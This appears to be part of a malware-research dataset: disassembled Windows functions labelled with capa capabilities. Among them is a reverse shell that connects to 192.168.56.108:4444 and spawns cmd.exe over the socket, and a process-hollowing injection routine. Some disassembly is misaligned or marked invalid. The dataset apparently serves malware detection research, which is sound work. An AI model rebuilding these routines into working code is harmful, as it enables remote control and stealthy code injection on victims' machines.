joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400bae59
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
mov rbx, r9
mov r15, r8
mov rbp, rdx
mov r13, rcx
mov r14, qword [rsp + 0x168]
mov r12b, byte [rsp + 0x160]
lea rsi, [rsp + 0x90]
mov rcx, rsi
mov rdx, r8
mov r8, r9
call fcn.1400bb997
mov eax, dword [rsi]
cmp eax, 0x23
je case.0x1400719e4.1285
mov qword [rsp + 0x78], rbx
mov rsi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
cmp eax, 0x2f
je 0x1400baf07
cmp eax, 0x3f
je 0x1400bb0e9
cmp eax, 0x5c
je 0x1400baf07
cmp eax, 0x110000
jne 0x1400bb102
cmp dword [r14 + 0x20], 0
je 0x1400bb1e5
mov r8d, dword [r14 + 0x24]
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x10]
lea r9, [0x14012b008]
call fcn.1400bae10
mov r8, rdx
jmp 0x1400bb1ed
mov byte [rsp + 0x77], r12b
mov r12, rbp
mov qword [rsp + 0x80], r13
xor ebp, ebp
lea rdi, [rsp + 0x90]
mov r13, qword [rsp + 0x78]
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], r13
mov rcx, rdi
call fcn.1400b84c8
cmp eax, 0x5c
je 0x1400baf50
cmp eax, 0x2f
jne 0x1400baf64
mov r15, qword [rsp + 0x90]
mov r13, qword [rsp + 0x98]
inc ebp
jmp 0x1400baf2e
cmp ebp, 1
jbe 0x1400bb11b
mov rbp, r12
mov r12, qword [r12 + 0x30]
test r12, r12
je 0x1400bb048
lea rdi, [rsp + 0xe0]
and qword [rdi], 0
mov qword [rdi + 8], 1
and qword [rdi + 0x10], 0
mov rax, qword [rbp + 0x38]
cmp byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
add ecx, dword [rax - 0x75]
mov rax, qword [rsp + 0x78]
mov qword [rbx + 8], rax
mov rcx, rdi
xor edx, edx
call fcn.1400b6e3b
mov byte [rbx + 0x10], 0
mov rcx, rbx
call fcn.1400b84c8
invalid
invalid
dec dword [rcx + 0x2ff883c6]
je 0x1400baff3
cmp esi, 0x5c
je 0x1400baff3
cmp esi, 0x110000
je 0x1400bb007
mov byte [rsp + 0xa0], 1
jmp 0x1400baffd
mov rcx, rdi
mov edx, esi
call fcn.14002dd9d
cmp esi, 0x2f
je 0x1400bafcd
cmp esi, 0x5c
je 0x1400bafcd
mov rsi, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xf0]
and al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
cmp dword [r14 + 0x18], 0
je 0x1400bb381
lea rax, [r14 + 0x1c]
mov rbx, qword [rsp + 0x78]
mov r15d, dword [r14 + 0x3c]
mov rcx, qword [r14 + 8]
mov rax, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
mov rcx, rbp
mov rdx, rax
call fcn.1400b6e52
mov rax, qword [rbp + 0x10]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rbp]
add byte [rcx + 0xf], al
adc dword [rbp], eax
cmp dword [r14 + 0x20], 0
mov rbx, qword [rsp + 0x78]
lea rax, [r14 + 0x24]
mov rdi, r15
mov rax, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
jmp 0x1400bb3ab
Function at 0x1400c2db4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c2dfe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c2dfe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c2dfe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c2dfe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c2dfe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c2e00
xor al, al
add rsp, 0x28
ret

Function at 0x1400c5e20
Capabilities:
Resolve dns

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1e0
mov rsi, rcx
invalid
mov r14, qword [rdx]
mov rbx, qword [rdx + 8]
movzx edi, word [rdx + 0x10]
mov rax, qword [0x140138e98]
cmp rax, 3
jne 0x14009afbd
cmp rbx, 0x17f
ja 0x14009afcf
lea r15, [rsp + 0x60]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x60], 0
lea rax, [rbx + 1]
cmp rbx, 0xe
ja 0x14009ae68
xor edx, edx
nop
cmp byte [rsp + rdx + 0x60], 0
je 0x14009af24
inc rdx
cmp rax, rdx
jne 0x14009ae50
jmp 0x14009af84
lea rcx, [rsp + 0x67]
and rcx, 0xfffffffffffffff8
sub rcx, r15
je 0x14009ae9e
je 0x14009ae9e
xor edx, edx
nop word [rax + rax]
cmp byte [rsp + rdx + 0x60], 0
je 0x14009af24
inc rdx
cmp rcx, rdx
jne 0x14009ae80
lea rdx, [rbx - 0xf]
cmp rcx, rdx
jbe 0x14009aea4
jmp 0x14009aeee
lea rdx, [rbx - 0xf]
xor ecx, ecx
movdqa xmm0, xmmword [0x1400c8680]
call fcn.1400c5dc0
cmp rbx, 0x17f
add dword [rax], eax
add byte [rdi], cl
xchg byte [rbx - 2], bl
invalid
invalid
mov rcx, rsi
mov rdx, r14
mov r8, rbx
mov eax, ebx
mov r9d, edi
add rsp, 0x1e0
invalid
loopne 0x14009afe1
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp 0x1400c5e20
invalid
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
mov ebx, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.1400060f0
mov rax, qword [rsp + 0x30]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x1400c5eaf
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400c5ee1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x1400c5ef4
lea rcx, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rcx
mov qword [rsi], 1
test rax, rax
je 0x1400c5f0c
mov rcx, qword [rsp + 0x38]
mov edx, 1
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.140005da0
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bx
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test r14, r14
je 0x1400c5f0c
mov edx, 1
mov rcx, rdi
call fcn.140005da0
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x140015660
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001128f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
jmp 0x1400118f0
push rbp
push rsi
push rdi
sub rsp, 0x6d0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x110
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1400230a5]
call fcn.1400113a2
xor eax, eax
cmp eax, 1
je 0x140011a73
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 0x1c8], rax
lea rcx, str.192.168.56.108
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rbp + 0x208], rax
cmp qword [rbp + 0x208], 0
jne 0x14001199d
lea rcx, str.Host_not_found._Retrying_in_5_seconds..._n
call fcn.1400111ae
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001191d
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x208]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x10
lea rcx, str.192.168.56.108
call qword [sym.imp.ucrtbased.dll_strcpy_s]
mov eax, 2
mov word [0x14001d1d0], ax
lea rcx, str.4444
call qword [sym.imp.ucrtbased.dll_atoi]
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001d1d2], ax
lea rcx, str.192.168.56.108
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x14001d1d4], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [0x14001d1d0]
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov dword [rbp + 0x1e4], eax
cmp dword [rbp + 0x1e4], 0xffffffff
je 0x140011a57
jmp 0x140011a73
lea rcx, str.Connection_failed._Retrying_in_5_seconds..._n
call fcn.1400111ae
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001191d
mov r8d, 0x68
xor edx, edx
lea rcx, [0x14001d1e0]
call fcn.1400112e4
mov dword [0x14001d1e0], 0x68
mov dword [0x14001d21c], 0x100
mov rax, qword [rbp + 0x1c8]
mov qword [0x14001d240], rax
mov rax, qword [0x14001d240]
mov qword [0x14001d238], rax
mov rax, qword [0x14001d238]
mov qword [0x14001d230], rax
lea rax, [rbp + 0x230]
lea rcx, str.cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x240]
mov rdi, rax
xor eax, eax
mov ecx, 0x1ee
rep stosb byte [rdi], al
lea rax, [0x14001d248]
mov qword [rsp + 0x48], rax
lea rax, [0x14001d1e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x230]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001acc0]
call fcn.14001132f
mov eax, edi
lea rsp, [rbp + 0x680]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x140013d20
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140013d40
xor al, al
jmp 0x140013dc1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140013d53
xor al, al
jmp 0x140013dc1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140013d7d
xor al, al
jmp 0x140013dc1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140013d91
xor al, al
jmp 0x140013dc1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140013da3
xor al, al
jmp 0x140013dc1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140013dbf
xor al, al
jmp 0x140013dc1
mov al, 1
add rsp, 0x38
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044f0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404500]
mov dword [rax], 1
mov rax, qword [0x00404510]
mov dword [rax], 1
mov rax, qword [0x004044e0]
mov dword [rax], 1
mov rax, qword [0x004043a0]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x004044d0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x00404430]
mov qword [rdx], rax
mov rdx, qword [0x00404420]
mov qword [rdx], rax
mov rax, qword [0x00404490]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404350]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x4017a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x4018ba
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x4017ee
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x4018a0
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x4017d2
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4018f2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4018d5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401899
sub eax, 0x40
and eax, 0xffffffbf
je 0x401899
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x4018c1
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x4017fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x4024d0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4024e0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4024f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402531
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402528
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402533
add rax, 0x28
cmp rax, r9
jne 0x402514
xor eax, eax
repz ret

Function at 0x4025e0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x004043a0]
cmp word [rbx], 0x5a4d
je 0x402600
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4025f4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x140001070
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [rdx]
lea rdx, [0x14001e590]
call fcn.140003940
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 2]
call fcn.140003dec
mov rcx, rbx
call fcn.14000387c
add eax, 0xfffde3d4
mov ecx, eax
mov dword [rsp + 0x30], eax
call fcn.1400057b0
xor r8d, r8d
mov edx, 0x21c00
mov rcx, rbx
mov rsi, rax
call fcn.140003dec
mov r8d, dword [rsp + 0x30]
mov r9, rbx
mov edx, 1
mov rcx, rsi
call fcn.1400056e8
mov ecx, 0x2c
call fcn.1400057b0
mov edx, dword [rsp + 0x30]
xor r8d, r8d
add edx, 0x21c00
mov rcx, rbx
mov rdi, rax
call fcn.140003dec
mov edx, 1
mov r9, rbx
mov rcx, rdi
lea r8d, [rdx + 0x2b]
call fcn.1400056e8
mov rcx, rbx
call fcn.140003b78
mov r9d, 0x18
mov qword [rsp + 0x38], 0
lea r8, [0x14001e5b0]
mov qword [rsp + 0x40], 0
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x38]
lea rbp, [0x14001e598]
call qword [0x140016010]
mov rcx, qword [rsp + 0x38]
xor r9d, r9d
mov ebx, eax
mov rdx, rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 0x2c]
mov dword [rsp + 0x20], 0
call qword [0x140016008]
test eax, eax
jne 0x1400011a5
lea rcx, [0x14001e620]
call fcn.140001010
test ebx, ebx
je 0x140001236
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rsi
lea rbp, [0x14001e640]
lea r8d, [r9 + 1]
call qword [section..rdata]
mov edx, dword [rsp + 0x30]
mov rcx, rsi
mov ebx, eax
call fcn.140003bdc
mov rsi, rax
test ebx, ebx
je 0x140001236
lea rcx, [0x14001e680]
call fcn.140001010
mov rcx, rsi
call fcn.140001280
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call fcn.140002510
mov rcx, rsi
call fcn.140005474
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov rcx, rdi
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 0x20], rax
mov dword [rdi + 0x28], eax
call fcn.140005474
xor eax, eax
jmp 0x140001253
call qword [0x140016020]
mov rdx, rbp
lea rcx, [0x14001e650]
mov r8d, eax
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001510
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x140001280
Capabilities:
Parse pe header

Disassembly:
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rbp + 0x120], rax
movsxd rdi, dword [rcx + 0x3c]
mov eax, 0x5a4d
add rdi, rcx
mov r14, rcx
cmp word [rcx], ax
jne 0x1400014d3
cmp dword [rdi], 0x4550
jne 0x1400014d3
xor ecx, ecx
call qword [0x140016040]
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [0x140016078]
xorps xmm1, xmm1
lea rcx, [rbp + 0x10]
xor eax, eax
xor r12d, r12d
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
mov qword [rbp], rax
xor r9d, r9d
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor edx, edx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
call qword [0x140016048]
test eax, eax
je 0x1400014d3
lea edx, [r12 + 8]
xor ecx, ecx
lea r9d, [r12 + 4]
mov r8d, 0x3000
call qword [0x140016060]
mov rdx, rax
mov r15, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [0x140016030]
test eax, eax
je 0x1400014d3
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [0x140016070]
mov r9d, dword [rdi + 0x54]
mov r8, r14
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], r12
call qword [0x140016068]
test eax, eax
je 0x1400014d3
mov qword [rsp + 0x268], rbx
movzx ebx, word [rdi + 0x14]
add rbx, 0x2c
mov qword [rsp + 0x270], rsi
mov esi, r12d
cmp r12w, word [rdi + 6]
jae 0x140001432
add rbx, rdi
mov r8d, dword [rbx]
mov edx, dword [rbx - 8]
add r8, r14
add rdx, qword [rsp + 0x68]
mov r9d, dword [rbx - 4]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r12
call qword [0x140016068]
movzx eax, word [rdi + 6]
lea rbx, [rbx + 0x28]
inc esi
cmp esi, eax
jl 0x140001402
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x70]
mov r9d, 0x30
mov qword [rsp + 0x20], r12
xor edx, edx
call qword [0x1400162a0]
mov rsi, qword [rsp + 0x270]
mov rbx, qword [rsp + 0x268]
test eax, eax
jne 0x1400014d3
mov rdx, qword [rsp + 0x78]
lea r9d, [rax + 8]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
add rdx, 0x10
mov qword [rsp + 0x20], r12
call qword [0x140016068]
test eax, eax
je 0x1400014d3
mov eax, dword [rdi + 0x28]
mov rdx, r15
add rax, qword [rsp + 0x68]
mov qword [r15 + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [0x140016050]
test eax, eax
je 0x1400014d3
mov rcx, qword [rsp + 0x58]
call qword [0x140016038]
test eax, eax
je 0x1400014d3
mov rcx, qword [rsp + 0x50]
call qword [0x140016028]
mov rcx, qword [rsp + 0x58]
call qword [0x140016028]
mov al, 1
jmp 0x1400014d5
xor al, al
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140001510
add rsp, 0x230
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140006484
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400062b0
Function at 0x140008400
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rax, rdx
mov rsi, rcx
lea rdx, [rbp - 0x24]
mov rcx, rax
call qword [sym.imp.shell32.dll_CommandLineToArgvW]
test rax, rax
je 0x14000850e
mov rdi, rax
movsxd rax, dword [rbp - 0x24]
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 8
mov qword [rbp - 0x10], 0
lea r13, [rdi + rax*8]
lea rbx, [rbp - 0x58]
lea r14, [rbp - 0x40]
lea r15, [rbp - 0x20]
mov r12, rdi
jmp 0x1400084a1
add r12, 8
mov rax, qword [rbp - 0x18]
lea rcx, [rdx + rdx*2]
mov rdx, qword [rbp - 0x48]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rax + rcx*8], xmm0
inc qword [rbp - 0x10]
cmp r12, r13
je 0x1400084eb
mov byte [rbp - 1], 1
mov rcx, r12
call fcn.14001b580
lea rcx, [rax + rdx*2]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rcx
mov word [rbp - 0x30], 0
mov byte [rbp - 1], 1
mov rcx, rbx
mov rdx, r14
call fcn.14000c9a0
mov rdx, qword [rbp - 0x10]
cmp rdx, qword [rbp - 0x20]
jne 0x140008480
mov rcx, r15
call fcn.140010040
mov rdx, qword [rbp - 0x10]
jmp 0x140008480
mov byte [rbp - 1], 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test rax, rax
je 0x140008527
mov rax, qword [rbp - 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rsi], xmm0
jmp 0x140008560
mov qword [rsi], 0
mov qword [rsi + 8], 8
mov qword [rsi + 0x10], 0
jmp 0x140008560
mov byte [rbp - 1], 1
call fcn.14001b040
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x30], edx
mov qword [rbp - 0x40], 1
mov rcx, qword [rbp - 0x10]
mov qword [rsi + 0x10], rcx
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rsi], xmm0
test rax, rax
je 0x140008560
lea rcx, [rbp - 0x38]
mov byte [rbp - 1], 0
call fcn.14001b5a0
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x14000a7a0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14000a7e2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14000a7ea
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14000a7fb
jmp 0x14000a812
xor r10d, r10d
jmp 0x14000a89d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14000a812
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14000a829
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14000a849
add r11, r8
jmp 0x14000a97a
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14000a912
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
